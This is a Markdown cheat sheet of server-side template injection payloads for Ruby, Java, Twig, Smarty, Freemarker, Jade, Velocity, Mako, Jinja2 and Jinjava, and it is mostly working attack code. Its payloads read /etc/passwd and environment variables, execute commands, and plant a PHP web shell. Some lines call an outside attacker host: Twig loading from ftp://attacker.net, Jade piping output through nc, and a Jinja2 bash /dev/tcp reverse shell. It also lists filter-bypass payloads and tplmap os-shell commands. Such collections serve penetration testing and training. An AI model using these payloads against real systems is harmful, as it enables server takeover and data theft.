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Markdown
327 lines
No EOL
10 KiB
Markdown
# Templates Injections
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> Template injection allows an attacker to include template code into an existant (or not) template. A template engine makes designing HTML pages easier by using static template files which at runtime replaces variables/placeholders with actual values in the HTML pages
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## Summary
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* [Tools](#tools)
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* [Methodology](#methodology)
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* [Ruby](#ruby)
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* [Basic injection](#basic-injection)
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* [Retrieve /etc/passwd](#retrieve--etc-passwd)
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* [List files and directories](#list-files-and-directories)
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* [Java](#java)
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* [Basic injection](#basic-injection)
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* [Retrieve the system’s environment variables](retrieve-the-system-s-environment-variables)
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* [Retrieve /etc/passwd](#retrieve--etc-passwd)
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* [Twig](#twig)
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* [Basic injection](#basic-injection)
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* [Template format](#template-format)
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* [Code execution](#code-execution)
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* [Smarty](#smarty)
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* [Freemarker](#freemarker)
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* [Jade / Codepen](#jade---codepen)
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* [Velocity](#velocity)
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* [Mako](#mako)
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* [Jinja2](#jinja2)
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* [Basic injection](#basic-injection)
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* [Template format](#template-format)
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* [Dump all used classes](#dump-all-used-classes)
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* [Dump all config variables](#dump-all-config-variables)
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* [Read remote file](#read-remote-file)
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* [Write into remote file](#write-into-remote-file)
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* [Remote Code Execution](#remote-code-execution)
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* [Filter bypass](filter-bypass)
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* [Jinjava](#jinjava)
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* [Basic injection](#basic-injection)
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* [Command execution](#command-execution)
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## Tools
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Recommended tool: [Tplmap](https://github.com/epinna/tplmap)
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e.g:
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```powershell
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python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
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python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
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python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
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```
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## Methodology
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## Ruby
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### Basic injection
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```ruby
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<%= 7 * 7 %>
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```
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### Retrieve /etc/passwd
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```ruby
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<%= File.open('/etc/passwd').read %>
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```
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### List files and directories
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```ruby
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<%= Dir.entries('/') %>
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```
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## Java
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### Basic injection
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```java
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${7*7}
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${{7*7}}
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${class.getClassLoader()}
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${class.getResource("").getPath()}
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${class.getResource("../../../../../index.htm").getContent()}
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```
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### Retrieve the system’s environment variables
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```java
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${T(java.lang.System).getenv()}
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```
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### Retrieve /etc/passwd
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```java
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${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
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${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
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```
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## Twig
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### Basic injection
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```python
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{{7*7}}
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{{7*'7'}} would result in 49
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```
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### Template format
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```python
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$output = $twig > render (
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'Dear' . $_GET['custom_greeting'],
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array("first_name" => $user.first_name)
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);
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$output = $twig > render (
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"Dear {first_name}",
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array("first_name" => $user.first_name)
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);
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```
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### Code execution
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```python
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{{self}}
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{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
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{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
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```
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## Smarty
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```python
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{php}echo `id`;{/php}
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{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
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```
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## Freemarker
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Default functionality.
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```python
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<#assign
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ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
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```
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## Jade / Codepen
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```python
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- var x = root.process
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- x = x.mainModule.require
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- x = x('child_process')
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= x.exec('id | nc attacker.net 80')
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```
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## Velocity
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```python
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#set($str=$class.inspect("java.lang.String").type)
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#set($chr=$class.inspect("java.lang.Character").type)
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#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
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$ex.waitFor()
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#set($out=$ex.getInputStream())
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#foreach($i in [1..$out.available()])
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$str.valueOf($chr.toChars($out.read()))
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#end
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```
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## Mako
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```python
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<%
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import os
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x=os.popen('id').read()
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%>
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${x}
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```
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## Jinja2
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[Official website](http://jinja.pocoo.org/)
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> Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.
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### Basic injection
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```python
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{{4*4}}[[5*5]]
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{{7*'7'}} would result in 7777777
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```
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Jinja2 is used by Python Web Frameworks such as Django or Flask.
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The above injections have been tested on Flask application.
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### Template format
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```python
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{% extends "layout.html" %}
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{% block body %}
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<ul>
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{% for user in users %}
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<li><a href="{{ user.url }}">{{ user.username }}</a></li>
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{% endfor %}
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</ul>
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{% endblock %}
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```
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### Dump all used classes
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```python
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{{ [].class.base.subclasses() }}
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{{''.class.mro()[1].subclasses()}}
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{{ ''.__class__.__mro__[2].__subclasses__() }}
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```
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### Dump all config variables
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```python
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{% for key, value in config.iteritems() %}
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<dt>{{ key|e }}</dt>
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<dd>{{ value|e }}</dd>
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{% endfor %}
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```
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### Read remote file
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```python
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# ''.__class__.__mro__[2].__subclasses__()[40] = File class
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{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
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```
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### Write into remote file
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```python
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{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
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```
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### Remote Code Execution
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Listen for connexion
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```bash
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nv -lnvp 8000
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```
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Inject this template
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```python
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{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} # evil config
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{{ config.from_pyfile('/tmp/evilconfig.cfg') }} # load the evil config
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{{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }} # connect to evil host
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```
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### Filter bypass
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```python
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request.__class__
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request["__class__"]
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```
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Bypassing `_`
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```python
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http://localhost:5000/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_
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{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
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{{request|attr(["_"*2,"class","_"*2]|join)}}
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{{request|attr(["__","class","__"]|join)}}
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{{request|attr("__class__")}}
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{{request.__class__}}
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```
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Bypassing `[` and `]`
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```python
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http://localhost:5000/?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_
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or
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http://localhost:5000/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
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```
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Bypassing `|join`
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```python
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http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
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```
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## Jinjava
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### Basic injection
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```python
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{{'a'.toUpperCase()}} would result in 'A'
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{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
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```
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Jinjava is an open source project developped by Hubspot, available at [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
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### Command execution
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Fixed by https://github.com/HubSpot/jinjava/pull/230
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```python
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{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
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{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
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{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
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{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
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```
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## References
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* [https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/](https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/)
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* [Yahoo! RCE via Spring Engine SSTI](https://hawkinsecurity.com/2017/12/13/rce-via-spring-engine-ssti/)
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* [Ruby ERB Template injection - TrustedSec](https://www.trustedsec.com/2017/09/rubyerb-template-injection/)
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* [Gist - Server-Side Template Injection - RCE For the Modern WebApp by James Kettle (PortSwigger)](https://gist.github.com/Yas3r/7006ec36ffb987cbfb98)
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* [PDF - Server-Side Template Injection: RCE for the modern webapp - @albinowax](https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf)
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* [VelocityServlet Expression Language injection](https://magicbluech.github.io/2017/12/02/VelocityServlet-Expression-language-Injection/)
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* [Cheatsheet - Flask & Jinja2 SSTI - Sep 3, 2018 • By phosphore](https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti)
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* [RITSEC CTF 2018 WriteUp (Web) - Aj Dumanhug](https://medium.com/@ajdumanhug/ritsec-ctf-2018-writeup-web-72a0e5aa01ad)
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* [RCE in Hubspot with EL injection in HubL - @fyoorer](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html?spref=tw)
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* [Jinja2 template injection filter bypasses - @gehaxelt, @0daywork](https://0day.work/jinja2-template-injection-filter-bypasses/)
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* [Gaining Shell using Server Side Template Injection (SSTI) - David Valles - Aug 22, 2018](https://medium.com/@david.valles/gaining-shell-using-server-side-template-injection-ssti-81e29bb8e0f9)
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* [EXPLOITING SERVER SIDE TEMPLATE INJECTION WITH TPLMAP - BY: DIVINE SELORM TSA - 18 AUG 2018](https://www.owasp.org/images/7/7e/Owasp_SSTI_final.pdf) |